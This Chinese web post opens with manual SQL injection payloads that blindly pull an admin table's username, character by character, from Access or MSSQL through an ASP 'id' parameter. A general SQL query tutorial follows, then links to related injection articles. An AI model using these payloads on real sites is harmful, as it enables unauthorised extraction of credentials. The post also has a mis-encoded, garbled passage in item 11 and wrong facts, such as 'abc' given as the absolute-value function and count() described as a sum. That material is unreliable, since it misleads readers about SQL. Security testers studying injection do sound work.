手动你的ASP站可否注入:

  http://127.0.0.1/xx?id=11 and 1=1 (正常页面)

  http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

  检测表段的

  http://127.0.0.1/xx?id=11 and exists (select * from admin)

  检测字段的

  http://127.0.0.1/xx?id=11 and exists (select username from admin)

  检测ID

  http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

  检测长度的

  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

  检测长度的

  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

  检测是否为MSSQL数据库

  http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

  检测是否为英文

  (ACCESS数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

  (MSSQL数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

  检测英文的范围

  (ACCESS数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

  (MSSQL数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

  检测那个字符

  (ACCESS数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

  (MSSQL数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

  常用函数

  Access:asc(字符) SQLServer:unicode(字符)

  作用:返回某字符的ASCII码

  Access:chr(数字) SQLServer:nchar(数字)

  作用:与asc相反,根据ASCII码返回字符

  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

  Access:abc(数字) SQLServer:abc (数字)

  作用:返回数字的绝对值(在猜解汉字的时候会用到)

  Access:A between B And C SQLServer:A between B And C

  作用:判断A是否界于B与C之间

  and exists(Select top 1 * From 用户 order by id)

  1.在查询结果中显示列名:

  a.用as关键字:select name as ’姓名’ from students order by age

  b.直接表示:select name ’姓名’ from students order by age

  2.精确查找:

  a.用in限定范围:select * from students where native in (’湖南’, ’四川’)

  b.between...and:select * from students where age between 20 and 30

  c.“=”:select * from students where name = ’李山’

  d.like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:’%李%’;若是第二个字为李,则应为’_李%’或’_李’或’_李_’。)

  e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like ’[A-C]%’)

  3.对于时间类型变量的处理

  a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

  4.集函数

  a.count()求和,如:select count(*) from students (求学生总人数)

  b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’

  c.max(列)和min(列),求最大与最小

  5.分组group

  常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)

  注意:从哪种角度分组就从哪列"group by"

  对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和

  性别(gender),所以有"group by grade, mno, gender"

  select grade, mno, gender, count(*) from students group by grade, mno, gender

  通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:

  select sno,count(*) from grades where mark<60 group by sno having count(*)>1

  6.UNION联合

  合并查询结果,如:

  SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

  7.多表查询

  a.内连接

  select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

  (注意可以引用别名)

  b.外连接

  b1.左连接

  select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

  左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。

  左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。

  b2.右连接

  与左连接类似

  b3.全连接

  select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

  两边表中的内容全部显示

  c.自身连接

  select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

  采用别名解决问题。

  d.交*连接

  select lastname+firstname from lastname CROSS JOIN firstanme

  相当于做笛卡儿积

  8.嵌套查询

  a.用关键字IN,如查询猪猪山的同乡:

  select * from students where native in (select native from students where name=’猪猪’)

  b.使用关键字EXIST,比如,下面两句是等价的:

  select * from students where sno in (select sno from grades where cno=’B2’)

  select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

  9.关于排序order

  a.对于排序order,有两种方法:asc升序和desc降序

  b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:

  select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

  10.其他

  a.对于有空格的识别名称,应该用"[]"括住。

  b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL

  c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”

  d.注意在做否定意义的查询是小心进入陷阱:

  如,没有选修‘B2’课程的学生 :

  select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

  上面的查询方式是错误的,正确方式见下方:

  select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

  11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难 ?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

  最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

手工检测SQL注入(安全性测试)的更多相关文章

  1. 手工检测SQL注入漏洞

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,具体来说,它是利用现有应用程序将(恶意的)SQL命令注入到后台数据库引擎执 ...

  2. python使用sqlmap API检测SQL注入

    0x00前言: 大家都知道sqlmap是非常强大的sql注入工具,最近发现他有个sqlmap API,上网查了一下.发现这是 sqlmap的微端.(可以叫做sqlmap在线检测sql注入= =) 0x ...

  3. (五)SQLMap工具检测SQL注入漏洞、获取数据库中的数据

    目录结构 一.判断被测url的参数是否存在注入点 二.获取数据库系统的所有数据库名称(暴库) 三.获取Web应用当前所连接的数据库 四.获取Web应用当前所操作的DBMS用户 五.列出数据库中的所有用 ...

  4. (一)SQL注入漏洞测试的方式总结

    一.工具注入 1.SQLMap的作用 判断可注入的参数 判断可以用那种SQL注入技术来注入 识别出哪种数据库 根据用户选择,读取哪些数据(库.表.列.字段值...) 2.注入技术 [A]基于布尔的盲注 ...

  5. sqlmap检测sql注入漏洞

    sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞.它由python语言开发而成,因此运行需要安装python环境. 官网:http://sqlmap.org/ 乌 ...

  6. 企业安全_检测SQL注入的一些方式探讨

    目录 寻找SQL注入点的 way MySQL Inject 入门案例 自动化审计的尝试之旅 人工审计才能保证精度 寻找SQL注入点的 way 在企业中有如下几种方式可以选择: 自动化 - 白盒基于源码 ...

  7. 常见SQL注入点判断

    sql注入手工检测 SQL注入手工检测 1基本检测 数字型 字符型 搜索型 POST注入 布尔盲注 报错注入 堆叠注入 判断是什么数据库 2绕过技巧 大小写 替换关键字 使用编码 注释和符号 等价函数 ...

  8. SQL注入之PHP-MySQL实现手工注入-数字型

    SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎 ...

  9. 使用C#winform编写渗透测试工具--SQL注入

    使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...

随机推荐

  1. HttpContext.Current.Request.RawUrl是什么意思?

    原始 URL 定义为 URL 中域信息之后的部分.在 URL 字符串 http://www.contoso.com/articles/recent.aspx 中,原始 URL 为/articles/r ...

  2. python中的not,and, or

    not 表示  非,and 表示 与 ,or 表示 或 ,他们的优先级 not > and > or  在python中 都是从左到右去判断条件的,例如and ,True and True ...

  3. sprintf详解

    原文:http://www.cnblogs.com/wqlblogger/archive/2007/01/09/615525.html 转摘声明:选自<CSDN 社区电子杂志——C/C++杂志& ...

  4. 升级CocoaPod遇到ERROR: While executing gem ... (TypeError) no implicit conversion of nil into String问题的解决方法

    如下图: 先执行命令: gem update --system 再升级: sudo gem install cocoapods --pre 这样就能够正常升级了.

  5. Java—IO流 字符流

    java的文本(char)是16位无符号整数,是字符的unicode编码(双字节编码). 文件是byte byte byte ... 的数据序列. 文本文件是文本(char)序列按照某种编码方案(uf ...

  6. java中复制数组的5种方法

    “=”,相当于将一个数组变量的引用传递给另一个数组;如果一个数组发生改变,那么引用同一数组的变量也要发生改变.,这一种勉强算是吧 使用FOR循环,将数组的每个元素复制或者复制指定元素,不过效率差一点 ...

  7. 密码存储中MD5的安全问题与替代方案

    md5安全吗?有多么地不安全?如何才能安全地存储密码?... md5安全吗? 经过各种安全事件后,很多系统在存放密码的时候不会直接存放明文密码了,大都改成了存放了 md5 加密(hash)后的密码,可 ...

  8. How I explained Design Patterns to my wife: Part 1

    Introduction Me and my wife had some interesting conversations on Object Oriented Design principles. ...

  9. impala安装笔记(Ubuntu)

    1.Override 1.With Impala, you can query data, whether stored in HDFS or Apache HBase – including SEL ...

  10. Linux文件的I/O操作

    C标准函数与系统函数的区别   标准函数printf调用应用层api,然后应用层api调用内核层api,再通过内核层api调用硬件设备   一个pirntf打印helloworld那么sys_writ ...